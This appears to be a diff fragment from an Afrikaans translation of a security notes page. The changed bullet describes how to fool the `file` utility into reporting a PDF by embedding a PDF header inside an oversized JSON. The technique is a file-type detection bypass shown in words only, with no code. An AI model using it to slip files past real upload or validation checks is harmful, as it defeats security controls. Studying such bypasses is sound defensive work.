-- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
+- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep eenvoudig 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie, en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
 
 ## References